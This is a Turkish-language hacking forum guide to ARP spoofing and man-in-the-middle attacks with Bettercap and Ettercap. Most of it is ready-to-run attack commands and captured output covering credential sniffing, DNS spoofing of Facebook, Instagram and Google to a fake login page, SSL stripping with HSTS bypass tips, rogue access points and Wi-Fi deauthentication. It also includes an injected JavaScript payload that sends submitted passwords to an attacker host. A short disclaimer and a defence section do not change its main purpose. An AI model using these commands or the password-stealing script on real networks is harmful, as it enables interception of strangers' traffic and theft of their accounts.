-
Tc4dy
OPSEC Specialist | Free internet - Open Source ADV
🕸️ ARP SPOOFING VE MITM ULTIMATE REHBERİ – SIFIRDAN PROFESYONELE 100+ TEKNİK, 15+ ARAÇ
Man-in-the-Middle (MITM) saldırısı, bir ağdaki iki cihaz arasındaki iletişime sızarak trafiği dinleme, değiştirme veya yönlendirme sanatıdır. Bu rehberde ARP spoofing'ten başlayıp, Bettercap ve Ettercap ile DNS spoofing, SSL stripping, session hijacking, trafik enjeksiyonu ve daha fazlasını en ince ayrıntısına kadar anlatıyorum. Ayrıca bu saldırılardan nasıl korunacağını da öğreneceksin.
⚠️ ETİK UYARI: Bu rehber yalnızca eğitim, güvenlik araştırmaları ve izinli sızma testleri içindir. Kendi ağında veya izin aldığın ortamlarda dene. Yetkisiz ağlarda MITM saldırısı yapmak suçtur. Tüm sorumluluk kullanıcıya aittir.
📌 BÖLÜM 1: MITM NEDİR VE NASIL ÇALIŞIR?
Man-in-the-Middle saldırısı, saldırganın iki taraf (örneğin senin bilgisayarın ile internet servis sağlayıcının router'ı) arasına girerek tüm trafiği kendi üzerinden geçirmesidir. Saldırgan bu pozisyondayken trafiği dinleyebilir, şifreleri çalabilir, hatta değiştirebilir.🔧 MITM saldırı zinciri 4 adımdan oluşur:
| Adım | Ne Yapılır? | Örnek |
|---|---|---|
| 1. Pozisyonlanma | Kendini hedef ile gateway arasına yerleştir | ARP spoofing, DHCP spoofing, rogue AP |
| 2. Trafik yönlendirme | IP forwarding aktif et, trafik senin üzerinden geçsin | sysctl -w net.ipv4.ip_forward=1 |
| 3. Protokol düşürme | HTTPS'yi HTTP'ye düşür (SSL stripping) | sslstrip, bettercap http.proxy.sslstrip |
| 4. Veri toplama/değiştirme | Şifreleri, çerezleri yakala veya içeriğe müdahale et | net.sniff, JavaScript enjeksiyonu |
📁 BÖLÜM 2: ARP PROTOKOLÜ VE ZAFİYETİ
ARP (Address Resolution Protocol), bir ağdaki cihazların IP adreslerini MAC adreslerine çevirmesini sağlayan temel bir protokoldür. Bir cihaz internete çıkmak istediğinde "192.168.1.1'in MAC adresi nedir?" diye sorar ve router cevap verir.⚠️ ZAFİYET: ARP protokolü kimlik doğrulama içermez! Yani bir saldırgan "ben router'ım, MAC adresim şu" diye sahte mesajlar gönderebilir ve tüm trafik ona yönlendirilir.
🧪 ARP spoofing'in temel mantığı:
- Hedefe: "Gateway'in IP'si (192.168.1.1) aslında benim MAC adresim" diye spoof'lu ARP paketi gönder
- Gateway'e: "Hedefin IP'si (192.168.1.100) aslında benim MAC adresim" diye spoof'lu ARP paketi gönder
- İki taraftaki ARP tabloları zehirlenir, tüm trafik senden geçer
📁 BÖLÜM 3: ARAÇLAR KARŞILAŞTIRMASI
MITM saldırıları için kullanılan ana araçlar ve 2026'daki durumları:| Araç | 2026 Durumu | Avantajları | Dezavantajları |
|---|---|---|---|
| Bettercap | Çok aktif, v2.11+ | Modern, modüler, REST API, caplet'ler, HTTP/2 desteği | Öğrenme eğrisi var |
| Ettercap | Bakım modunda (v0.8.4) | Kararlı, çok plugin, eski sistemlerde çalışır | Güncellemeler az |
| arpspoof (dsniff suite) | Çalışıyor | Basit, lightweight | Tek işlevli |
| MITMf | Ölü (2018'den beri güncel değil) | - | Kullanma |
📁 BÖLÜM 4: BETTERCAP İLE ARP SPOOFING (ADIM ADIM)
Bettercap, günümüzün en güçlü MITM framework'üdür. Kali Linux'ta önceden yüklü gelir.⚙️ 4.1. Kurulum ve İlk Adımlar
bash# Kali'de zaten var, yoksa yükle:
sudo apt update && sudo apt install bettercap -y
# Arayüzünü bul:
ip addr
# Çıktı: wlan0 (Wi-Fi) veya eth0 (Ethernet)
🎯 4.2. Hedef Ağı Keşfet
bash# Bettercap'i interaktif modda başlat:
sudo bettercap -iface wlan0
# Ağdaki cihazları tara:
> net.probe on
> net.show
📊 Simülasyon çıktısı:
text
┌─────────────────────────────────────────────────────┐
│ IP MAC Hostname │
├─────────────────────────────────────────────────────┤
│ 192.168.1.1 00:11:22:33:44:55 Router │
│ 192.168.1.100 AA:BB:CC
│ 192.168.1.101 11:22:33:44:55:66 Laptop-User │
│ 192.168.1.102 22:33:44:55:66:77 Samsung-TV │
└─────────────────────────────────────────────────────┘
🕸️ 4.3. ARP Spoofing Başlat
bash# Hedef ve gateway'i belirle:
> set arp.spoof.targets 192.168.1.100
> set arp.spoof.fullduplex true
# Spoofing'i başlat:
> arp.spoof on
📊 Bettercap çıktısı:
text
[19:30:01] [sys.log] [inf] arp.spoof enabling forwarding
[19:30:01] [sys.log] [inf] arp.spoof launching spoofing for [192.168.1.100]
[19:30:02] [endpoint] 192.168.1.100 AA:BB:CC
[19:30:02] [endpoint] 192.168.1.1 00:11:22:33:44:55
[19:30:03] [arp.spoof] Sent 2 ARP replies
⚠️ Fullduplex açmanın önemi: Eğer arp.spoof.fullduplex false ise sadece hedef zehirlenir. Router'da ARP spoofing koruması varsa saldırı başarısız olur. true yaparsan hem hedefe "ben gateway'im" hem gateway'e "ben hedefim" dersin, ikili zehirlenir.
👃 4.4. Trafik Sniffing Başlat
bash> net.sniff on
Bettercap artık hedefin tüm HTTP trafiğini ekrana basar. Şifreler, cookie'ler, POST verileri düz metin olarak görünür.
📊 Sniffing çıktısı (hedef bir siteye giriş yaptığında):
text
[20:15:33] [net.sniff] HTTP Request
GET /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
[20:15:35] [net.sniff] HTTP Request (POST)
POST /login HTTP/1.1
Host: example.com
Content-Length: 42
username=john.doe&password=MySecret123
🛑 4.5. Saldırıyı Durdur
bash> arp.spoof off
> net.sniff off
> exit
📁 BÖLÜM 5: ETTERCAP İLE ARP SPOOFING
Ettercap, özellikle GUI'si ve plugin sistemiyle hala tercih edilen bir araçtır.🖥️ 5.1. GUI Modu (Ettercap -G)
bashsudo ettercap -G
Adımlar:
- Sniff → Unified sniffing → ağ arayüzünü seç (wlan0)
- Hosts → Scan for hosts (ağdaki cihazları tara)
- Hosts → Hosts list (hedef IP'yi ve gateway IP'yi not al)
- MITM → ARP poisoning → "Sniff remote connections" tickle → OK
- Start → Start sniffing
⌨️ 5.2. CLI Modu (Tek satırda)
bash# Tek hedef için:
sudo ettercap -T -M arp:remote /192.168.1.100// /192.168.1.1//
# Tüm ağı hedef almak için:
sudo ettercap -T -M arp:remote // //
# Çıktıyı dosyaya yaz:
sudo ettercap -T -M arp:remote /192.168.1.100// /192.168.1.1// -w capture.pcap
📊 CLI çıktısı:
text
Starting unified sniffing...
ARP poisoning victims:
GROUP 1 : 192.168.1.100 AA:BB:CC
GROUP 2 : 192.168.1.1 00:11:22:33:44:55
Starting ARP poisoning...
HTTP : 192.168.1.100:49234 -> 93.184.216.34:80
POST /login HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
username=john.doe&password=MySecret123
📁 BÖLÜM 6: DNS SPOOFING (YÖNLENDİRME SANATI)
DNS spoofing, hedefin bir alan adını (örneğin facebook.com) farklı bir IP'ye yönlendirmendir. Sahte bir giriş sayfası hazırlayıp şifreleri toplayabilirsin.🌐 6.1. Ettercap ile DNS Spoofing
Adım 1: Sahte DNS kayıtlarını hazırlabash
sudo nano /etc/ettercap/etter.dns
Dosyaya şunları ekle:
text
facebook.com A 192.168.1.50
*.facebook.com A 192.168.1.50
instagram.com A 192.168.1.50
*.instagram.com A 192.168.1.50
google.com A 192.168.1.50
*.google.com A 192.168.1.50
Adım 2: Sahte web sunucusunu başlat
bash
# Apache ile basit bir sahte sayfa
sudo systemctl start apache2
# Veya Python ile hızlı bir HTTP sunucusu
echo "<h1>Hesap askıya alındı, giriş yapın</h1>" > index.html
sudo python3 -m http.server 80
Adım 3: Ettercap ile DNS spoofing başlat
bash
sudo ettercap -T -M arp:remote // // -P dns_spoof
🦹 6.2. Bettercap ile DNS Spoofing
Bettercap ile daha kolay:bash
sudo bettercap -iface wlan0
# DNS spoofing'i aktif et:
> set dns.spoof.domains facebook.com,instagram.com,google.com
> set dns.spoof.address 192.168.1.50
> dns.spoof on
# ARP spoofing ile birleştir (tam MITM):
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
📊 Simülasyon çıktısı:
text
[21:00:01] [dns.spoof] DNS request from 192.168.1.100 for "facebook.com"
[21:00:01] [dns.spoof] Sending spoofed response: 192.168.1.50
[21:00:02] [http.proxy] GET http://192.168.1.50/ -> /var/www/html/index.html
📁 BÖLÜM 7: SSL STRIPPING (HTTPS'Yİ DÜŞÜRME)
HTTPS siteleri şifrelidir, normal sniffing ile şifreleri göremezsin. SSL stripping, HTTPS bağlantısını HTTP'ye düşürerek tüm veriyi düz metin olarak yakalamanı sağlar.⚠️ HSTS (HTTP Strict Transport Security): Modern siteler HSTS kullanır. HSTS aktifse tarayıcı HTTPS dışı bağlantıya izin vermez. 2026'da birçok büyük site (Google, Facebook, bankalar) HSTS preload listesinde.
🔧 7.1. Bettercap ile SSL Stripping
bashsudo bettercap -iface wlan0
# HTTP proxy'yi başlat (SSL stripping için)
> http.proxy on
> http.proxy.sslstrip on
# ARP spoofing ile birleştir
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> net.sniff on
📊 SSL Stripping simülasyon çıktısı:
Hedef https://facebook.com yazdığında normalde şifreli trafik. SSL stripping ile:text
Hedef: https://facebook.com yazdı
Bettercap: Bağlantıyı http://facebook.com'a düşürdü
Hedef: http://facebook.com'da şifresini girdi
[net.sniff] POST http://facebook.com/login
email=[email protected]&pass=123456
🛡️ 7.2. HSTS Bypass Yöntemleri (2026)
HSTS'li siteler için aşağıdaki yöntemleri dene:| Yöntem | Nasıl çalışır? | Başarı Oranı |
|---|---|---|
| HSTS bypass tools (sslstrip2 + dns2proxy) | www yerine wwww gibi farklı hostname kullanarak HSTS'yi atlatır | Düşük |
| Fingerprint kopyalama | Hedef sitenin TLS fingerprint'ini taklit et | Orta |
| SSLKEYLOGFILE | Tarayıcının SSL anahtarlarını loglamasını sağla | Orta (fiziksel erişim gerekir) |
📁 BÖLÜM 8: 50+ BETTERCAP KOMUTU VE MODÜLÜ
Bettercap'ın tüm önemli komutları:🔍 8.1. Keşif ve Bilgi Toplama
bashnet.probe on # Ağı aktif tara (ARP istekleri gönder)
net.recon on # Pasif dinleme (gizli)
net.show # Bulunan cihazları listele
net.show all # Tüm cihazları göster
net.show verbose # Detaylı gösterim
wifi.recon on # Wi-Fi ağlarını tara
wifi.show # Bulunan Wi-Fi ağlarını listele
🕸️ 8.2. Spoofing ve MITM
basharp.spoof on # ARP spoofing başlat
arp.spoof off # Durdur
set arp.spoof.targets 192.168.1.100 # Hedef belirle
set arp.spoof.fullduplex true # Çift yönlü zehirleme
set arp.spoof.internal true # Ağ içi trafiği de zehirle
set arp.spoof.skip_restore false # Durdurunca ARP tablolarını eski haline getir
👃 8.3. Sniffing (Trafik Dinleme)
bashnet.sniff on # Sniffing başlat
net.sniff off # Durdur
set net.sniff.verbose true # Detaylı gösterim
set net.sniff.filter tcp port 80 # Sadece HTTP trafiğini göster
set net.sniff.filter tcp port 443 # Sadece HTTPS trafiğini göster
set net.sniff.output sniff.log # Çıktıyı dosyaya yaz
🌐 8.4. DNS Spoofing
bashdns.spoof on # DNS spoofing başlat
set dns.spoof.domains facebook.com,google.com # Yönlendirilecek domainler
set dns.spoof.address 192.168.1.50 # Yönlendirilecek IP
set dns.spoof.all true # Tüm domainleri yönlendir
🔓 8.5. HTTP/HTTPS Manipülasyonu
bashhttp.proxy on # HTTP proxy'yi başlat
http.proxy.sslstrip on # SSL stripping aktif et
set http.proxy.script inject.js # JavaScript enjekte et
set http.proxy.port 8080 # Proxy portu (varsayılan 8080)
📦 8.6. Caplet'ler (Otomasyon Script'leri)
Bettercap'in en güçlü özelliği caplet'lerdir. Tüm saldırıyı tek bir script'te otomatize edebilirsin.Örnek caplet (mitm.cap):
text
# MITM saldırısı için caplet örneği
set arp.spoof.targets 192.168.1.100
set arp.spoof.fullduplex true
arp.spoof on
net.sniff on
set dns.spoof.domains facebook.com
set dns.spoof.address 192.168.1.50
dns.spoof on
http.proxy on
http.proxy.sslstrip on
Caplet'i çalıştır:
bash
sudo bettercap -iface wlan0 -caplet mitm.cap
🧵 8.7. Gelişmiş Modüller
Bettercap sadece ARP spoofing değil, çok daha fazlasını yapar:bash
ble.recon on # Bluetooth Low Energy (BLE) cihazlarını tara
hid.recon on # HID (klavye/fare) cihazlarını tara
can.recon on # CAN bus (araç ağı) dinleme
wifi.deauth on # Wi-Fi deauth attack
wifi.ap on # Sahte erişim noktası (Rogue AP) oluştur
📁 BÖLÜM 9: 30+ ETTERCAP FİLTRE VE PLUGİN
📝 9.1. Ettercap Filtreleri (Kendi Script'ini Yaz)
Ettercap filtreleri, trafik üzerinde tam kontrol sağlar. Bir filtre yazıp derleyerek belirli paketleri değiştirebilir, ekleyebilir veya silebilirsin.Örnek filtre (redirect.filter):
text
# HTTP isteklerini yakala ve yönlendir
if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "GET /")) {
replace("GET /", "GET /redirected");
msg("Redirected request");
}
}
Derleme ve kullanım:
bash
# Filtreyi derle
sudo etterfilter redirect.filter -o redirect.ef
# Ettercap ile yükle
sudo ettercap -T -M arp:remote // // -F redirect.ef
🔌 9.2. Ettercap Plugin'leri
| Plugin | Ne Yapar? | Kullanım |
|---|---|---|
| dns_spoof | DNS spoofing | -P dns_spoof |
| arp_cop | ARP spoofing saldırılarını tespit eder (savunma) | -P arp_cop |
| chk_poison | ARP poisoning tespiti | -P chk_poison |
| isolate | Hedefin ağ bağlantısını keser | -P isolate |
| search_promisc | Promiscuous moddaki cihazları bulur | -P search_promisc |
| stp_mangler | Spanning Tree Protocol saldırısı | -P stp_mangler |
📁 BÖLÜM 10: TRAFİK ENJEKSİYONU VE JAVASCRIPT KODU EKLEME
MITM pozisyonundayken hedefin ziyaret ettiği sayfalara JavaScript enjekte edebilirsin.💉 10.1. Bettercap ile JavaScript Enjeksiyonu
Adım 1: Enjekte edilecek JavaScript dosyasını oluştur (inject.js):javascript
// Sahte bir pop-up göster
alert("Hesabınız güvenlik nedeniyle askıya alındı!");
// Tüm şifre inputlarını yakala
document.addEventListener('submit', function(e) {
var form = e.target;
var inputs = form.querySelectorAll('input[type=password]');
inputs.forEach(function(input) {
fetch('http://192.168.1.50/steal?pass=' + input.value);
});
});
Adım 2: Bettercap ile enjekte et:
bash
sudo bettercap -iface wlan0
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set http.proxy.script inject.js
> http.proxy on
💉 10.2. Ettercap ile Paket Enjeksiyonu
bash# Bir dosyadaki veriyi hedefe enjekte et
sudo ettercap -T -M arp:remote // // -F inject.ef
# İnteraktif modda manuel enjeksiyon
sudo ettercap -T -M arp:remote // // -i
# Ardından 'j' tuşu ile enjeksiyon yap
📁 BÖLÜM 11: GELİŞMİŞ SENARYOLAR
11.1. DHCP Spoofing (Bettercap ile)
ARP spoofing çalışmazsa (switch'te DAI/DHCP Snooping varsa) DHCP spoofing dene:bash
sudo bettercap -iface wlan0
> dhcp.spoof on
> set dhcp.spoof.dns 8.8.8.8
> set dhcp.spoof.gateway 192.168.1.50
11.2. Rogue AP ile MITM (Bettercap)
bashsudo bettercap -iface wlan0
> wifi.ap.ssid Free-WiFi
> wifi.ap on
11.3. Tüm Trafiği Kaydet (PCAP)
bashsudo bettercap -iface wlan0
> net.sniff on
> set net.sniff.output capture.pcap
📁 BÖLÜM 12: TESPİT ETME VE KORUNMA
🔍 12.1. ARP Spoofing'i Nasıl Tespit Edersin?
Yöntem 1: ARP tablosunu kontrol etbash
# Linux'ta
arp -an | grep -i "ff:ff:ff:ff:ff:ff"
# Windows'ta (Admin cmd)
arp -a
Eğer aynı IP için farklı MAC adresleri görüyorsan ARP spoofing var demektir.
Yöntem 2: arpwatch ile izle
bash
sudo apt install arpwatch
sudo arpwatch -i wlan0
Yeni bir MAC-IP eşleşmesi görünce /var/log/arpwatch.log'a yazar.
Yöntem 3: Nmap ile tara
bash
nmap -sn 192.168.1.0/24
Aynı IP için birden fazla MAC görürsen spoofing olabilir.
🛡️ 12.2. ARP Spoofing'i Nasıl Önlersin?
| Önlem | Açıklama | Zorluk |
|---|---|---|
| Statik ARP | Gateway'in MAC adresini manuel gir | Orta |
| DAI (Dynamic ARP Inspection) | Switch'te her ARP paketini doğrula | Zor (managed switch gerekir) |
| DHCP Snooping | Sadece güvenilir portlardan gelen DHCP'yi kabul et | Zor |
| 802.1X | Ağa giriş için kimlik doğrulama | Zor (kurumsal) |
| VPN | Tüm trafiği şifrele | Kolay |
🔐 12.3. DNS Spoofing'e Karşı Korunma
- DNSSEC aktif et
- DoT (DNS over TLS) veya DoH (DNS over HTTPS) kullan
- Offload edilmiş DNS sunucusu kullan (1.1.1.1, 8.8.8.8)
🔒 12.4. SSL Stripping'e Karşı Korunma
- HSTS preload list (Tarayıcıların hardcoded listesi)
- Tarayıcıda HTTPS-Only modu aktif et
- Sadece HTTPS sitelerini ziyaret et
📊 ÖZET – MITM SALDIRI TÜRLERİ VE KORUNMA
| Saldırı Türü | Kullanılan Araçlar | Hedef | Korunma |
|---|---|---|---|
| ARP Spoofing | Bettercap, Ettercap, arpspoof | Ağdaki tüm cihazlar | DAI, statik ARP, VPN |
| DNS Spoofing | Bettercap, Ettercap + dns_spoof | Belirli domainler | DNSSEC, DoH/DoT |
| SSL Stripping | Bettercap, sslstrip2 | HTTPS siteleri | HSTS, HTTPS-Only mod |
| DHCP Spoofing | Bettercap, mitm6 | DHCP istemcileri | DHCP Snooping |
| Rogue AP | Bettercap, airbase-ng | Wi-Fi kullanıcıları | 802.1X, TLS |
🧠 BÖLÜM 13: SIK SORULAN SORULAR
S1: ARP spoofing yapınca hedefin interneti neden yavaşlıyor veya kopuyor?- IP forwarding kapalı olabilir: sudo sysctl -w net.ipv4.ip_forward=1
- Bettercap'te arp.spoof.fullduplex false ise sadece hedef zehirlenir, router'ın güvenlik mekanizması devreye girer. fullduplex true yap
- Çalışmaz. Managed switch'lerde DAI aktifse ARP spoofing paketleri düşer. Bu durumda DHCP spoofing veya rogue AP dene.
- Çalışmaz. HSTS preload listesindeki siteler (Google, Facebook, bankalar) sadece HTTPS bağlantısına izin verir.
- Bettercap ssl.mitm on ile kendi sertifikanı kullan. Tarayıcı uyarı verir ama kabul edersen decrypt eder.
- Veya SSLKEYLOGFILE yöntemiyle tarayıcının SSL anahtarlarını logla.
- Bettercap Windows'da çalışır (WSL ile). Ettercap'in Windows sürümü çok eski. Kali Linux veya WSL önerilir.
⚠️;
ARP spoofing ve MITM saldırıları, yerel ağlarda yapılabilecek en güçlü saldırılardan biridir. Bu rehberde öğrendiklerini sadece kendi ağında veya izinli ortamlarda dene. Başkasının ağına müdahale etmek suçtur.Kendini korumak için: VPN kullan, DAI aktif switch'ler tercih et, HSTS preload listesindeki tarayıcıları kullan.
Unutma: En iyi hacker, kendi verisini koruyabilendir.
Bu rehber, eğitim ve bilgilendirme amaçlıdır. Tüm sorumluluk kullanıcıya aittir.
💬 SpyHackerz Telegram — Anlık tartışmalar ve duyurular için katıl